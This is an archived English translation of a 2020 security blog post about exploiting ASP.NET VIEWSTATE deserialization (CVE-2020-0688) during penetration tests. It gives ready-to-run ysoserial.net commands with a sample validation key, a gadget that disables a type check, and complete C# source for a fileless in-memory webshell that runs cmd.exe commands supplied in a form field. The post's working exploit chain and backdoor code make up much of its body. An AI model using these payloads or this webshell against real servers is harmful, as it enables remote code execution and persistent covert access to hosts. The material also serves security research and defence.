

Playing with ASP.NET VIEWSTATE deserialization attacks and building a fileless backdoor!

📄 **ASP.NET VIEWSTATE** 📄📄📄📄📄📄📄📄 - Cyku, Cyku's blog.

- Title in English: Playing with ASP.NET VIEWSTATE deserialization attacks and building a fileless backdoor!
- Published: 2020-03-11
- Original: <https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/>
- Preserved from: <https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content (English translation)

English translation. Original text is retained in the content store; the source PDF, when available, retains its original language.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Recently a serious vulnerability CVE-2020-0688 was disclosed in the Microsoft product Exchange Server. The cause of the problem is that after every Exchange Server is installed, a certain component uses the same fixed Machine Key, and I believe everyone is already very familiar with the exploitation routine once the Machine Key is obtained: you can tamper with the VIEWSTATE parameter value in the ASP.NET Form to carry out a deserialization attack, and so achieve Remote Code Execution and take over the whole host server.

For more detailed information about the CVE-2020-0688 vulnerability, see the ZDI blog:

- [CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys](#)

There are already countless articles on the internet exploring VIEWSTATE deserialization attacks in depth, so this article will not repeat them. What I mainly want to talk about today is how a VIEWSTATE exploit is used during a penetration test.

The most basic and common way is to directly use the ViewState Plugin of the tool [ysoserial.net](#) to produce a valid MAC and correctly encrypted content. After a chain of reflection

calls, the TypeConfuseDelegate gadget by default invokes Process.Start to call cmd.exe, which triggers the execution of an arbitrary system command.

For example:

```
ysoserial.exe -p ViewState -g TypeConfuseDelegate
-c "echo 123 > c:\pwn.txt"
--generator="CA0B0334"
--validationlg="SHA1"
--validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"
```

An abnormal VIEWSTATE usually makes the aspx page respond with 500 Internal Server Error, so we cannot directly learn the result of the command execution. But once we have arbitrary execution, using PowerShell to get a reverse shell back, or to send the command result to an external server, is not hard.

But ..

In real penetration testing, things are often not that nice. Enterprise security awareness is relatively high nowadays, and the following restrictions in a target server environment are already the norm:

- All outbound connections are blocked
- External DNS lookups are forbidden
- The web directory is not writable
- The web directory is writable, but a Website Defacement protection mechanism exists that restores files automatically

So this is the moment to make full use of the capability of another gadget, ActivitySurrogateSelectorFromFile. This gadget calls Assembly.Load to load a .NET assembly dynamically and achieve Remote Code Execution. In other words, it gives us the ability to run arbitrary .NET language code in the same runtime environment as the aspx page, and .NET by default has some global static variables pointing at shared resources that we can use, for example [System.Web.HttpContext.Current](#) gives us the object for the current HTTP request context. It feels just like being able to run an aspx page we wrote ourselves, and the whole process is handled dynamically in memory, so it is equivalent to creating a fileless WebShell backdoor!

We only need to change the -g argument to ActivitySurrogateSelectorFromFile, and what goes into the -c argument is no longer a system command but the ExploitClass.cs C# source file we want to run, followed by a ; semicolon and the dlls it depends on.

```
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
-c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
--generator="CA0B0334"
--validationlg="SHA1"
--validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"
```

The dlls that need to be referenced can be found on a Windows host with the .NET Framework installed; in my environment they are under this path:

`C:\Windows\Microsoft.NET\Framework64\v4.0.30319 .`

As for the most critical part, how should ExploitClass.cs be written? I will try to submit it to ysoserial.net in the future, and then you will be able to find it among the example files, or you can look at it directly here:

```
class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}
```

Both `Server.ClearError()` and `Response.End()` are necessary and important steps, because an abnormal VIEWSTATE will inevitably make the aspx page respond with 500 or another unexpected Server Error. Calling the first function helps clear the errors recorded on the stack in the current runtime environment, and calling `End()` lets ASP.NET mark the current context as request handling complete and send the Response straight back to the client, which prevents the program from going on into other error handlers and losing the output of the command execution.

At this step, in theory, as long as you always include this malicious VIEWSTATE when sending a request, you can work with it like an ordinary WebShell:

But do not lose heart too quickly. It may just be that the target you hit has been well-behaved and updated the server regularly, because Microsoft once added some patches for the ActivitySurrogateSelector gadget which made it impossible to use directly. Fortunately other researchers quickly provided a solution that makes this gadget usable again!

For the details you can read this article: [Re-Animating ActivitySurrogateSelector | Silent Break Security](#)

In short, if you hit the situation above, you can first try to generate a VIEWSTATE with the command below and send it to the server once. If it goes well, the DisableActivitySurrogateSelectorTypeCheck variable in the target runtime environment gets set to true, and the ActivitySurrogateSelector gadget you send afterwards will no longer throw a 500 Server Error.

```
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
-c "ignore"
--generator="CA0B0334"
--validationlg="SHA1"
--validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"
```

If everything above goes smoothly, the system command runs successfully and the result comes back, that is basically enough to do most things, and for the rest just keep letting your imagination run!

However, sometimes even at this step there are still unknown errors and unknown reasons that make the MAC calculation always wrong, because the internal .NET algorithm and the combination of environment parameters it needs are slightly complex, so the tool cannot easily cover every possible case. When I hit this situation, the solution I currently choose is to apply human intelligence: try to build the environment locally, set the same MachineKey, write the aspx file by hand, produce the VIEWSTATE containing the gadget, and then forward it to the target host. If you have more findings or a different idea you are willing to share, you are welcome to come and chat with me.

This article is also published at: [DEVCORE Blog](#)